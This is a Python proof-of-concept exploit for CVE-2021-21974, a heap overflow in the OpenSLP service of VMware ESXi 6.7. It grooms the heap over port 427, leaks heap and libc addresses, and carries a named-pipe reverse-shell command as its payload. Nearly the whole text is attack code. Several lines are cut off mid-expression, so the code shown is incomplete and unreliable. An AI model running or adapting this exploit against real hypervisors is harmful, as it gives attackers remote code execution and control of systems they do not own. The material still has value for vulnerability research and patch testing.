#!/usr/bin/python3 ###################################################################################################### # CVE-2021-21974 PoC Exploit # By: Johnny Yu (@staight_blast) # Tested against: # [1] VMware ESXi 6.7.0 build-14320388 ; VMware ESXi 6.7.0 Update 3 # [2] VMware ESXi 6.7.0 build-16316930 ; VMware ESXi 6.7.0 Update 3 ###################################################################################################### import sys import time import trace import queue import struct import socket import threading IP = sys.argv[1] #shell_cmd = b'echo "pwned" > /tmp/pwn' shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0/tmp/backpipe' DEBUG = False PRINT = True LOG_LEAK = False T = 0.3 #0.4 PORT = 427 COMMAND = 'command' MARKER = b'\xef\xbe\xad\xde' LISTEN = 0x65 STREAM_READ = 0x6c STREAM_WRITE = 0x6f STREAM_READ_FIRST = 0x6d LISTEN_FD = 0x8 leaked_data = b'\x00\x00\x00\x00' leaked_values = None class SLP_Thread(threading.Thread): def __init__(self, input_q): super(SLP_Thread, self).__init__() self.input_q = input_q def run(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: data = self.input_q.get(True, 0.05) name = threading.current_thread().name.replace('Thread','SLP Client') if 'connect' == data[COMMAND]: if PRINT: print('[' + name + '] connect') s.connect((IP, PORT)) elif 'service request' == data[COMMAND]: arg1 = data['arg1'] outgoing = self.generate_srv_rqst(arg1) if PRINT: print('[' + name + '] service request') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name + '] recv: ', d) elif 'directory agent advertisement' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] outgoing = self.generate_da_advert(arg1, arg2) if PRINT: print('[' + name + '] directory agent advertisement') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name + '] recv: ', d) elif 'service registration' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] arg3 = data['arg3'] arg4 = data['arg4'] outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4) if PRINT: print('[' + name + '] service registration') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name +'] recv: ', d) elif 'attribute request' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] outgoing = self.generate_attrib_rqst(arg1) if PRINT: print('[' + name + '] attribute request') s.send(outgoing) output = b'' for i in range(0, arg2): output += s.recv(1) if PRINT: print('[' + name + '] recv: ', output) elif 'recv' == data[COMMAND]: output = b'' arg1 = data['arg1'] arg2 = data['arg2'] for i in range(0, arg2): output += s.recv(1) if arg1: print('[' + name + '] recv: ', output) elif 'leak data' == data[COMMAND]: outgoing = b'' incoming = b'' arg1 = data['arg1'] if arg1 > 0: for i in range(0, arg1): outgoing += s.recv(1) #print(outgoing.hex()) global leaked_data leaked_data = outgoing else: while True: incoming = s.recv(1) outgoing += incoming if MARKER in outgoing: break global leaked_values leaked_values = [] try: for i in range(0, len(outgoing), 4): v = struct.unpack(' 0x38: size = size - 0x38 else: size = 1 return service_request(b'A' * size) def breakpoint(): time.sleep(T) input('breakpoint') def exploit(): count = 60 requests = [0] slpclients = [0] global leaked_data global leaked_values requests.extend([queue.Queue() for i in range(1, count)]) slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)]) for i in range(1, count): slpclients[i].start() requests[1].put(connect()) requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB')) requests[2].put(connect()) requests[3].put(connect()) requests[4].put(connect()) requests[5].put(connect()) requests[2].put(block(0x40)) requests[3].put(block(0x40)) requests[4].put(block(0x40)) requests[5].put(block(0x40)) requests[6].put(connect()) requests[6].put(block(0x810)) requests[7].put(connect()) requests[8].put(connect()) requests[6].put(close()) requests[9].put(connect()) requests[9].put(overflow_and_extend(0x140, 0x1)) fd = 0xc requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST)) requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4))) requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[10].put(connect()) requests[10].put(block(0x70)) requests[11].put(connect()) requests[12].put(connect()) requests[13].put(connect()) requests[11].put(block(0x810)) requests[14].put(connect()) requests[14].put(block(0x160)) requests[12].put(block(0x810)) requests[14].put(close()) requests[15].put(connect()) requests[15].put(attribute_request(b'service:pwn', 0x20)) requests[13].put(block(0x110)) requests[16].put(connect()) requests[17].put(connect()) requests[12].put(close()) requests[18].put(connect()) requests[18].put(overflow_and_extend(0x120, 0x3)) requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00')) requests[19].put(connect()) requests[19].put(block(0x178)) requests[11].put(close()) requests[20].put(connect()) requests[20].put(overflow_and_extend(0x140, 0x1)) fd = 0x11 requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[21].put(connect()) requests[21].put(block(0x178)) requests[15].put(leak_data()) time.sleep(T + 1.0) heap_address = 0 libc_base_address = 0 if leaked_values == None: print("[-] Exploit Failed [-]") return -1 leaked_values = leaked_values[::-1] if LOG_LEAK: for i in leaked_values: print(hex(i)) if leaked_values[0] == 0xdeadbeef: heap_address = leaked_values[6] - 0x3220 + 0x4 elif leaked_values[0] == 0xefeb3174: heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61 heap_address = leaked_values[14] + heap_offset libc_leak_location = heap_address - 0x100 + 4 requests[22].put(connect()) requests[22].put(block(0x810)) requests[23].put(connect()) requests[23].put(block(0x100)) requests[24].put(connect()) requests[24].put(block(0x810)) requests[23].put(close()) requests[25].put(connect()) requests[25].put(block(0x698)) requests[27].put(connect()) requests[28].put(connect()) requests[24].put(close()) requests[26].put(connect()) requests[26].put(overflow_and_extend(0x130, 0x1)) requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4)) requests[29].put(connect()) requests[29].put(block(0x178)) requests[22].put(close()) requests[30].put(connect()) requests[30].put(overflow_and_extend(0x140, 0x1)) fd = 0x15 requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[31].put(connect()) requests[31].put(block(0x178)) requests[25].put(leak_data(0x4)) time.sleep(T + 1.0) libc_base_address = struct.unpack('